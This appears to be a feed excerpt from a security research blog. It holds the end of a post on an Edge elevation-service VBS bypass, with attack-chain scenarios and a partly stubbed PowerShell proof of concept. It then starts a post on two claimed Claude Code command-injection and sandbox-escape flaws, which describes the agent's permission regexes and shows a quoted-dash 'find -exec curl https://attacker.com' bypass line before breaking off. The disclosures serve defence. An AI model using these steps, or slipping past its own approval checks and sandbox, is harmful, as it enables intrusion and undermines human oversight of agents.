Analysis"></a>Impact Analysis</h2><h3 id="Direct-Security-Feature-Bypass"><a href="#Direct-Security-Feature-Bypass" class="headerlink" title="Direct Security Feature Bypass"></a>Direct Security Feature Bypass</h3><p>Any standard user can:</p><ul><li><strong>Disable VBS</strong> → Weakens all VBS-dependent protections</li><li><strong>Enable VBS</strong> → Could cause system instability on unsupported hardware</li><li><strong>Bypass Group Policy</strong> → Enterprises cannot enforce VBS via policy</li></ul><h3 id="Attack-Chain-Enablement"><a href="#Attack-Chain-Enablement" class="headerlink" title="Attack Chain Enablement"></a>Attack Chain Enablement</h3><p>This vulnerability is a stepping stone for other attacks:</p><p><strong>Scenario 1: Credential Theft</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">1. Attacker gains standard user access (phishing, RCE, etc.)</span><br><span class="line">2. Attacker calls edge-vbs-disable via COM</span><br><span class="line">3. System reboots (attacker waits or forces reboot)</span><br><span class="line">4. After reboot, Credential Guard is disabled</span><br><span class="line">5. Attacker runs Mimikatz → obtains domain credentials</span><br><span class="line">6. Lateral movement with stolen credentials</span><br></pre></td></tr></table></figure><p><strong>Scenario 2: Kernel Exploitation</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">1. Attacker has a kernel vulnerability that only works without HVCI</span><br><span class="line">   (unsigned code execution, certain memory corruption techniques)</span><br><span class="line">2. HVCI blocks the exploit</span><br><span class="line">3. Attacker disables VBS via this vulnerability</span><br><span class="line">4. System reboots</span><br><span class="line">5. HVCI is now disabled</span><br><span class="line">6. Kernel exploit succeeds → SYSTEM code execution</span><br><span class="line">7. Install rootkit, disable security software, etc.</span><br></pre></td></tr></table></figure><p><strong>Scenario 3: Enterprise Policy Bypass</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">1. Organization mandates VBS via Group Policy (common for PCI-DSS, etc.)</span><br><span class="line">2. Compliance monitoring checks VBS status</span><br><span class="line">3. Attacker disables VBS</span><br><span class="line">4. Attacker performs malicious actions that would have been blocked</span><br><span class="line">5. Attacker re-enables VBS before next compliance check</span><br></pre></td></tr></table></figure><h3 id="CVSS-Considerations"><a href="#CVSS-Considerations" class="headerlink" title="CVSS Considerations"></a>CVSS Considerations</h3><p>This is a <strong>Security Feature Bypass</strong> with:</p><ul><li><strong>Attack Vector:</strong> Local (requires local user access)</li><li><strong>Attack Complexity:</strong> Low (simple COM call)</li><li><strong>Privileges Required:</strong> Low (standard user)</li><li><strong>User Interaction:</strong> None (no user action needed)</li><li><strong>Scope:</strong> Changed (affects other security features)</li><li><strong>Confidentiality/Integrity/Availability:</strong> Indirect but significant</li></ul><h2 id="Proof-of-Concept"><a href="#Proof-of-Concept" class="headerlink" title="Proof of Concept"></a>Proof of Concept</h2><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#################################################################################</span></span><br><span class="line"><span class="comment"># Microsoft Edge Elevation Service - VBS Security Feature Bypass PoC</span></span><br><span class="line"><span class="comment"># CVE-2026-21223</span></span><br><span class="line"><span class="comment">#################################################################################</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># Vulnerability: Security Feature Bypass via IElevatorEdge COM Interface</span></span><br><span class="line"><span class="comment"># CLSID: 1fcbe96c-1697-43af-9140-2897c7c69767</span></span><br><span class="line"><span class="comment"># Interface: IElevatorEdge (IID: c9c2b807-7731-4f34-81b7-44ff7779522b)</span></span><br><span class="line"><span class="comment"># Method: LaunchUpdateCmdElevatedAndWait</span></span><br><span class="line"><span class="comment"># Service: MicrosoftEdgeElevationService (runs as SYSTEM)</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># Impact: Standard user can disable/enable VBS without admin privileges</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># Registry Key Modified:</span></span><br><span class="line"><span class="comment">#   HKLM\System\CurrentControlSet\Control\DeviceGuard\EnableVirtualizationBasedSecurity</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment">#################################################################################</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">param</span>(</span><br><span class="line">    [<span class="type">Parameter</span>(<span class="type">Mandatory</span>=<span class="variable">$false</span>)]</span><br><span class="line">    [<span class="type">ValidateSet</span>(<span class="string">&quot;disable&quot;</span>, <span class="string">&quot;enable&quot;</span>, <span class="string">&quot;check&quot;</span>)]</span><br><span class="line">    [<span class="built_in">string</span>]<span class="variable">$Action</span> = <span class="string">&quot;check&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="variable">$ErrorActionPreference</span> = <span class="string">&quot;Stop&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Configuration</span></span><br><span class="line"><span class="variable">$CLSID</span> = <span class="string">&quot;1fcbe96c-1697-43af-9140-2897c7c69767&quot;</span></span><br><span class="line"><span class="variable">$IID</span> = <span class="string">&quot;c9c2b807-7731-4f34-81b7-44ff7779522b&quot;</span></span><br><span class="line"><span class="variable">$EdgeAppId</span> = <span class="string">&quot;&#123;56EB18F8-B008-4CBD-B6D2-8C97FE7E9062&#125;&quot;</span></span><br><span class="line"><span class="variable">$VBSRegPath</span> = <span class="string">&quot;HKLM:\System\CurrentControlSet\Control\DeviceGuard&quot;</span></span><br><span class="line"><span class="variable">$VBSValueName</span> = <span class="string">&quot;EnableVirtualizationBasedSecurity&quot;</span></span><br><span class="line"><span class="variable">$Timeout</span> = <span class="number">30000</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">Get-VBSState</span></span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="variable">$value</span> = (<span class="built_in">Get-ItemProperty</span> <span class="literal">-Path</span> <span class="variable">$VBSRegPath</span> <span class="literal">-Name</span> <span class="variable">$VBSValueName</span> <span class="literal">-ErrorAction</span> Stop).<span class="variable">$VBSValueName</span></span><br><span class="line">        <span class="keyword">if</span> (<span class="variable">$value</span> <span class="operator">-eq</span> <span class="number">0</span>) &#123; <span class="keyword">return</span> <span class="string">&quot;DISABLED&quot;</span> &#125;</span><br><span class="line">        <span class="keyword">elseif</span> (<span class="variable">$value</span> <span class="operator">-eq</span> <span class="number">1</span>) &#123; <span class="keyword">return</span> <span class="string">&quot;ENABLED&quot;</span> &#125;</span><br><span class="line">        <span class="keyword">else</span> &#123; <span class="keyword">return</span> <span class="string">&quot;UNKNOWN (<span class="variable">$value</span>)&quot;</span> &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;NOT CONFIGURED&quot;</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">Test-DirectModification</span></span> &#123;</span><br><span class="line">    <span class="built_in">Write-Host</span> <span class="string">&quot;[*] Testing direct registry modification (should fail)...&quot;</span></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="built_in">Set-ItemProperty</span> <span class="literal">-Path</span> <span class="variable">$VBSRegPath</span> <span class="literal">-Name</span> <span class="variable">$VBSValueName</span> <span class="literal">-Value</span> <span class="number">0</span> <span class="literal">-ErrorAction</span> Stop</span><br><span class="line">        <span class="built_in">Write-Host</span> <span class="string">&quot;[!] Direct modification SUCCEEDED - running as admin?&quot;</span></span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$true</span></span><br><span class="line">    &#125; <span class="keyword">catch</span> &#123;</span><br><span class="line">        <span class="built_in">Write-Host</span> <span class="string">&quot;[+] Direct modification DENIED as expected&quot;</span></span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$false</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">Write-Host</span> <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="built_in">Write-Host</span> <span class="string">&quot;==========================================&quot;</span></span><br><span class="line"><span class="built_in">Write-Host</span> <span class="string">&quot; CVE-2026-21223 - Edge Elevator VBS Bypass&quot;</span></span><br><span class="line"><span class="built_in">Write-Host</span> <span class="string">&quot;==========================================&quot;</span></span><br><span class="line"><span class="built_in">Write-Host</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">Write-Host</span> <span class="string">&quot;[*] Current VBS State: <span class="variable">$</span>(Get-VBSState)&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$Action</span> <span class="operator">-eq</span> <span class="string">&quot;check&quot;</span>) &#123;</span><br><span class="line">    <span class="built_in">Write-Host</span> <span class="string">&quot;[*] Check complete. Use -Action disable or -Action enable to exploit.&quot;</span></span><br><span class="line">    <span class="keyword">exit</span> <span class="number">0</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># Verify we don&#x27;t have direct access</span></span><br><span class="line"><span class="keyword">if</span> (<span class="built_in">Test-DirectModification</span>) &#123;</span><br><span class="line">    <span class="built_in">Write-Host</span> <span class="string">&quot;[!] You appear to have admin rights. Exploit not needed.&quot;</span></span><br><span class="line">    <span class="keyword">exit</span> <span class="number">1</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">Write-Host</span> <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="built_in">Write-Host</span> <span class="string">&quot;[*] Exploiting via COM...&quot;</span></span><br><span class="line"><span class="built_in">Write-Host</span> <span class="string">&quot;[*] Target: LaunchUpdateCmdElevatedAndWait&quot;</span></span><br><span class="line"><span class="built_in">Write-Host</span> <span class="string">&quot;[*] cmd_id: edge-vbs-<span class="variable">$Action</span>&quot;</span></span><br><span class="line"><span class="built_in">Write-Host</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># The actual COM invocation requires OleViewDotNet or similar tooling</span></span><br><span class="line"><span class="comment"># Pseudocode for the exploit:</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment">#   $comType = [Type]::GetTypeFromCLSID([Guid]$CLSID)</span></span><br><span class="line"><span class="comment">#   $comObj = [Activator]::CreateInstance($comType)</span></span><br><span class="line"><span class="comment">#   $iface = Get-Interface $comObj $IID</span></span><br><span class="line"><span class="comment">#   $result = $iface.LaunchUpdateCmdElevatedAndWait($EdgeAppId, &quot;edge-vbs-$Action&quot;, $Timeout)</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># Or via MCP tooling:</span></span><br><span class="line"><span class="comment">#   call_com_method(</span></span><br><span class="line"><span class="comment">#       clsid = $CLSID,</span></span><br><span class="line"><span class="comment">#       iid = $IID,</span></span><br><span class="line"><span class="comment">#       method_name = &quot;LaunchUpdateCmdElevatedAndWait&quot;,</span></span><br><span class="line"><span class="comment">#       parameters = [$EdgeAppId, &quot;edge-vbs-$Action&quot;, $Timeout]</span></span><br><span class="line"><span class="comment">#   )</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">Write-Host</span> <span class="string">&quot;[*] COM call would be executed here...&quot;</span></span><br><span class="line"><span class="built_in">Write-Host</span> <span class="string">&quot;[*] After successful exploit, VBS state changes on next reboot.&quot;</span></span><br><span class="line"><span class="built_in">Write-Host</span> <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="built_in">Write-Host</span> <span class="string">&quot;[*] Verify with: Confirm-SecureBootUEFI; Get-CimInstance -ClassName Win32_DeviceGuard&quot;</span></span><br></pre></td></tr></table></figure><h2 id="Binary-Analysis-Details"><a href="#Binary-Analysis-Details" class="headerlink" title="Binary Analysis Details"></a>Binary Analysis Details</h2><p>For researchers interested in the internals, here’s what I found in <code>elevation_service.exe</code>:</p><h3 id="Key-Imports"><a href="#Key-Imports" class="headerlink" title="Key Imports"></a>Key Imports</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">RPCRT4.dll:</span><br><span class="line">  - I_RpcOpenClientProcess      # Get handle to calling process</span><br><span class="line"></span><br><span class="line">KERNEL32.dll:</span><br><span class="line">  - QueryFullProcessImageNameW  # Get caller&#x27;s executable path</span><br><span class="line">  - CreateProcessAsUserW        # Spawn elevated processes</span><br><span class="line"></span><br><span class="line">ADVAPI32.dll:</span><br><span class="line">  - RegOpenKeyExW               # Registry operations</span><br><span class="line">  - RegQueryValueExW            # Read CommandLine values</span><br><span class="line"></span><br><span class="line">SHLWAPI.dll:</span><br><span class="line">  - PathMatchSpecW              # Wildcard path matching</span><br></pre></td></tr></table></figure><h3 id="Caller-Validation-Code-Flow"><a href="#Caller-Validation-Code-Flow" class="headerlink" title="Caller Validation Code Flow"></a>Caller Validation Code Flow</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">fcn.14002767f (caller_validation):</span><br><span class="line">  ├── Call I_RpcOpenClientProcess @ 0x14015428e</span><br><span class="line">  │   └── Gets HANDLE to calling process</span><br><span class="line">  ├── Call QueryFullProcessImageNameW @ 0x140027337</span><br><span class="line">  │   └── Gets full path of caller executable</span><br><span class="line">  ├── Compare against allowed paths:</span><br><span class="line">  │   ├── &quot;Program Files (x86)&quot; @ 0x1401f5d60</span><br><span class="line">  │   └── &quot;Program Files&quot; @ 0x1401f5d88</span><br><span class="line">  ├── Compare against allowed executables:</span><br><span class="line">  │   ├── &quot;msedge.exe&quot; @ 0x1401f8f80</span><br><span class="line">  │   ├── &quot;msedgerecovery.exe&quot; @ 0x1401f5f20</span><br><span class="line">  │   ├── &quot;msedgewebview2.exe&quot;</span><br><span class="line">  │   ├── &quot;setup.exe&quot;</span><br><span class="line">  │   └── &quot;mscopilot.exe&quot;</span><br><span class="line">  └── Return validation result</span><br></pre></td></tr></table></figure><p>The validation logic exists—but for some reason, calls to <code>LaunchUpdateCmdElevatedAndWait</code> from non-Edge processes succeeded anyway. This could be:</p><ul><li>A logic bug where the validation result isn’t properly checked</li><li>A race condition</li><li>Validation applied to some methods but not others</li><li>A configuration issue specific to certain Edge versions</li></ul><h2 id="Disclosure-Timeline"><a href="#Disclosure-Timeline" class="headerlink" title="Disclosure Timeline"></a>Disclosure Timeline</h2><table><thead><tr><th>Date</th><th>Event</th></tr></thead><tbody><tr><td>December 19, 2025</td><td>Vulnerability discovered</td></tr><tr><td>December 20, 2025</td><td>Reported to MSRC via researcher portal</td></tr><tr><td>January 5, 2026</td><td>MSRC confirms vulnerability, begins remediation</td></tr><tr><td>January 13, 2026</td><td>CVE-2026-21223 assigned and $20,000 bounty awarded</td></tr></tbody></table><hr><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">Virtualization-based Security (VBS)</a> - Microsoft Learn</li><li><a href="https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/">Credential Guard Overview</a> - Microsoft Learn</li><li><a href="https://learn.microsoft.com/en-us/windows/security/hardware-security/enable-virtualization-based-protection-of-code-integrity">Enable Virtualization-based Protection of Code Integrity</a> - Microsoft Learn</li><li><a href="https://learn.microsoft.com/en-us/windows/win32/procthread/isolated-user-mode--ium--processes">Isolated User Mode (IUM) Processes</a> - Microsoft Learn</li><li><a href="https://www.microsoft.com/en-us/security/blog/2020/07/08/introducing-kernel-data-protection-a-new-platform-security-technology-for-preventing-data-corruption/">Introducing Kernel Data Protection</a> - Microsoft Security Blog</li><li><a href="https://chromium.googlesource.com/chromium/src/+/HEAD/docs/design/sandbox.md">Chromium Sandbox Design</a> - Chromium Documentation</li><li><a href="https://theori.io/blog/cleanly-escaping-the-chrome-sandbox">Cleanly Escaping the Chrome Sandbox</a> - Theori</li><li><a href="https://github.com/BeichenDream/GodPotato">GodPotato</a> - GitHub</li><li><a href="https://github.com/ohpe/juicy-potato">JuicyPotato</a> - GitHub</li><li><a href="https://projectzero.google/2021/10/windows-exploitation-tricks-relaying.html">Windows Exploitation Tricks: Relaying DCOM Authentication</a> - Project Zero</li></ul>]]></content>
    
    
    <summary type="html">Finding a $20,000 browser vulnerability using AI</summary>
    
    
    
    <category term="Security Research" scheme="https://blindcyber.gitlab.io/categories/Security-Research/"/>
    
    
    <category term="vulnerability-research" scheme="https://blindcyber.gitlab.io/tags/vulnerability-research/"/>
    
    <category term="windows" scheme="https://blindcyber.gitlab.io/tags/windows/"/>
    
    <category term="com" scheme="https://blindcyber.gitlab.io/tags/com/"/>
    
    <category term="edge" scheme="https://blindcyber.gitlab.io/tags/edge/"/>
    
    <category term="vbs" scheme="https://blindcyber.gitlab.io/tags/vbs/"/>
    
    <category term="security-feature-bypass" scheme="https://blindcyber.gitlab.io/tags/security-feature-bypass/"/>
    
    <category term="sandbox-escape" scheme="https://blindcyber.gitlab.io/tags/sandbox-escape/"/>
    
    <category term="windows-internals" scheme="https://blindcyber.gitlab.io/tags/windows-internals/"/>
    
  </entry>
  
  <entry>
    <title>Finding Claude 0days using Claude: Command Injection &amp; Sandbox Escape</title>
    <link href="https://blindcyber.gitlab.io/2026/02/08/claude-code-command-injection-sandbox-escape/"/>
    <id>https://blindcyber.gitlab.io/2026/02/08/claude-code-command-injection-sandbox-escape/</id>
    <published>2026-02-08T00:00:00.000Z</published>
    <updated>2026-07-08T17:01:07.095Z</updated>
    
    <content type="html"><![CDATA[<p>There’s a certain poetic irony in using a tool to discover vulnerabilities in itself. That’s what happened when I found two command injection vulnerabilities in Claude Code while using Claude Code for my regular development workflow. Both vulnerabilities, CVE-2026-24053 and CVE-2026-24887 also allowed sandbox escape, and together they netted $7,400 in bug bounties from Anthropic after a few days of research. Both of these vulnerabilities were identified through a fully autonomous agent harness.</p><span id="more"></span><h1 id="The-Vulnerabilities-at-a-Glance"><a href="#The-Vulnerabilities-at-a-Glance" class="headerlink" title="The Vulnerabilities at a Glance"></a>The Vulnerabilities at a Glance</h1><table><thead><tr><th>CVE</th><th>Vulnerability</th><th>Bounty</th></tr></thead><tbody><tr><td><a href="https://github.com/anthropics/claude-code/security/advisories/GHSA-qgqw-h4xq-7w8w">CVE-2026-24887</a></td><td>Quoted dash bypass in <code>find -exec</code></td><td>$3,700</td></tr><tr><td><a href="https://github.com/anthropics/claude-code/security/advisories/GHSA-q728-gf8j-w49r">CVE-2026-24053</a></td><td>ZSH clobber path restriction bypass</td><td>$3,700</td></tr></tbody></table><p>Both vulnerabilities are now patched. Here’s the story of how I found them.</p><h1 id="Background-Claude-Code’s-Permission-Architecture"><a href="#Background-Claude-Code’s-Permission-Architecture" class="headerlink" title="Background: Claude Code’s Permission Architecture"></a>Background: Claude Code’s Permission Architecture</h1><p>Before diving into the vulnerabilities, it’s essential to understand how Claude Code’s multi-layered permission system works. This isn’t a simple allow/deny system—it’s a complex architecture with multiple scopes, regex-based validation, and even secondary LLM checks.</p><h2 id="Permission-Scopes-and-Hierarchy"><a href="#Permission-Scopes-and-Hierarchy" class="headerlink" title="Permission Scopes and Hierarchy"></a>Permission Scopes and Hierarchy</h2><p>Claude Code uses a strict hierarchy where higher-precedence sources override lower-precedence ones:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Enterprise (managed) &gt; CLI flags &gt; Local Project &gt; Shared Project &gt; User &gt; Defaults</span><br></pre></td></tr></table></figure><p>Each scope has its own configuration file:</p><table><thead><tr><th>Scope</th><th>File Location</th><th>Purpose</th></tr></thead><tbody><tr><td>Shared project</td><td><code>.claude/settings.json</code></td><td>Team-wide rules, checked into source control</td></tr><tr><td>Local project</td><td><code>.claude/settings.local.json</code></td><td>Personal overrides (gitignored)</td></tr><tr><td>User (global)</td><td><code>~/.claude/settings.json</code></td><td>Personal settings applying to all projects</td></tr><tr><td>Managed</td><td><code>managed-settings.json</code></td><td>Enterprise policies, cannot be overridden</td></tr></tbody></table><p>Within each settings file, you can define three types of permission rules:</p><ul><li><strong>allow</strong>: Automatically approves matching commands (no user prompt)</li><li><strong>deny</strong>: Completely blocks matching commands (always overrides allow)</li><li><strong>ask</strong>: Forces confirmation prompt even if there’s a matching allow rule</li></ul><p>The evaluation order is: deny rules first, then ask, then allow. First match wins.</p><h2 id="The-Bash-Tool-Validation-Pipeline"><a href="#The-Bash-Tool-Validation-Pipeline" class="headerlink" title="The Bash Tool Validation Pipeline"></a>The Bash Tool Validation Pipeline</h2><p>When Claude Code wants to execute a bash command, it goes through a multi-stage validation pipeline. The <code>BashCommand</code> tool’s <code>checkPermissions</code> method returns one of four states:</p><ol><li><strong>Deny</strong> – Action explicitly blocked; no further evaluation</li><li><strong>Allow</strong> – Execute without user prompt; no further evaluation</li><li><strong>Ask</strong> – Prompt user for permission; no further evaluation</li><li><strong>Passthrough</strong> – Continue to additional checks</li></ol><p>The validation happens in sequence:</p><ol><li><strong>Regex whitelist check</strong>: Commands are matched against patterns in <code>safeCommandsAndArgs</code></li><li><strong>Flag validation</strong>: Specific flags are validated against allowed patterns</li><li><strong>Secondary LLM validation</strong>: Anthropic’s Haiku model analyzes command prefixes for injection attempts</li><li><strong>User prompting</strong>: Commands failing all automated checks trigger the approval modal</li></ol><h2 id="Regex-Based-Safe-Command-Detection"><a href="#Regex-Based-Safe-Command-Detection" class="headerlink" title="Regex-Based Safe Command Detection"></a>Regex-Based Safe Command Detection</h2><p>At the heart of Claude Code’s bash validation is a massive collection of regular expressions. As noted in <a href="https://specterops.io/blog/2025/11/21/an-evening-with-claude-code/">SpecterOps’ “An Evening with Claude (Code)”</a> research, “The huge list of regular expressions appears to be a method of stemming the bleeding.”</p><p>The <code>safeCommandsAndArgs</code> object defines which commands and flags are considered safe:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">safeCommandsAndArgs = &#123;</span><br><span class="line">    <span class="attr">xargs</span>: &#123;</span><br><span class="line">      <span class="attr">safeFlags</span>: &#123;</span><br><span class="line">        <span class="string">&quot;-I&quot;</span>: <span class="string">&quot;&#123;&#125;&quot;</span>,</span><br><span class="line">        <span class="string">&quot;-n&quot;</span>: <span class="string">&quot;number&quot;</span>,</span><br><span class="line">        <span class="string">&quot;-P&quot;</span>: <span class="string">&quot;number&quot;</span></span><br><span class="line">      &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="attr">sed</span>: &#123;</span><br><span class="line">      <span class="attr">safeFlags</span>: &#123;</span><br><span class="line">        <span class="string">&quot;-e&quot;</span>: <span class="string">&quot;string&quot;</span>,</span><br><span class="line">        <span class="string">&quot;-n&quot;</span>: <span class="string">&quot;none&quot;</span>,</span><br><span class="line">        <span class="string">&quot;-r&quot;</span>: <span class="string">&quot;none&quot;</span></span><br><span class="line">      &#125;,</span><br><span class="line">      <span class="attr">additionalCommandIsDangerousCallback</span>: additionalSEDChecks</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>For example, the <code>find</code> command regex explicitly tries to exclude dangerous arguments:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/^find(?:\s+(?:(?!-delete\b|-exec\b)...$/</span><br></pre></td></tr></table></figure><p>This negative lookahead attempts to block <code>-exec</code> from being auto-approved. But regex has limits—it’s pattern matching, not semantic parsing.</p><h2 id="The-Sandbox-OS-Level-Isolation"><a href="#The-Sandbox-OS-Level-Isolation" class="headerlink" title="The Sandbox: OS-Level Isolation"></a>The Sandbox: OS-Level Isolation</h2><p>Claude Code offers an OS-level sandbox that restricts file operations to the project workspace. When enabled with “regular bash permissions,” commands attempting to write outside the workspace are blocked at the OS level.</p><p>Critically, there’s also a <code>dangerouslyDisableSandbox</code> parameter that Claude can pass to the Bash tool. When set to <code>true</code>, the command runs outside the sandbox. Normally, this displays the approval modal with an <code>(unsandboxed)</code> warning tag, so users know they’re approving an unsandboxed operation.</p><h1 id="The-Discovery-Journey"><a href="#The-Discovery-Journey" class="headerlink" title="The Discovery Journey"></a>The Discovery Journey</h1><p>I was working on a project and had configured specific permission settings. But something was off; certain commands weren’t prompting me for approval when I expected them to.</p><p>I started experimenting with different permission scopes. I tried adding a permission rule at the user level, then overriding it at the project level. The behavior made sense according to the hierarchy. But then I noticed something: <strong>some commands executed without any prompt regardless of my settings</strong>.</p><p>This led me to investigate which commands are auto-approved by default. Commands like <code>find</code>, <code>ls</code>, <code>git status</code>, and <code>echo</code> are considered “safe” and auto-execute without the “Do you want to proceed?” modal. The safety determination is made by those regex patterns in <code>safeCommandsAndArgs</code>.</p><p>The obvious conclusion, then, is that <strong>regex-based security boundaries, and in turn the command approvals, are inherently fragile</strong>. Shell syntax is complex, with multiple ways to express the same semantic meaning. Once I realized this, I was going to dig until I found at least a few bugs.</p><h1 id="CVE-2026-24887-The-Quoted-Dash-Bypass"><a href="#CVE-2026-24887-The-Quoted-Dash-Bypass" class="headerlink" title="CVE-2026-24887: The Quoted Dash Bypass"></a>CVE-2026-24887: The Quoted Dash Bypass</h1><h2 id="The-Vulnerability"><a href="#The-Vulnerability" class="headerlink" title="The Vulnerability"></a>The Vulnerability</h2><p>The <code>find</code> command is auto-approved by default because it’s considered a read-only file search tool. However, <code>find</code> with the <code>-exec</code> flag can execute arbitrary commands, so the regex explicitly blocks it:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(?!-exec\b)</span><br></pre></td></tr></table></figure><p>This negative lookahead checks for <code>-exec</code> as a word boundary. But what happens if we quote the dash?</p><h2 id="The-Bypass-Pattern"><a href="#The-Bypass-Pattern" class="headerlink" title="The Bypass Pattern"></a>The Bypass Pattern</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find . -maxdepth 0 <span class="string">&quot;-&quot;</span><span class="built_in">exec</span> curl https://attacker.com \;</span><br></pre></td></tr></table></figure><p>By writing <code>&quot;-&quot;exec</code> instead of <code>-exec</code>, bash interprets it identically—the 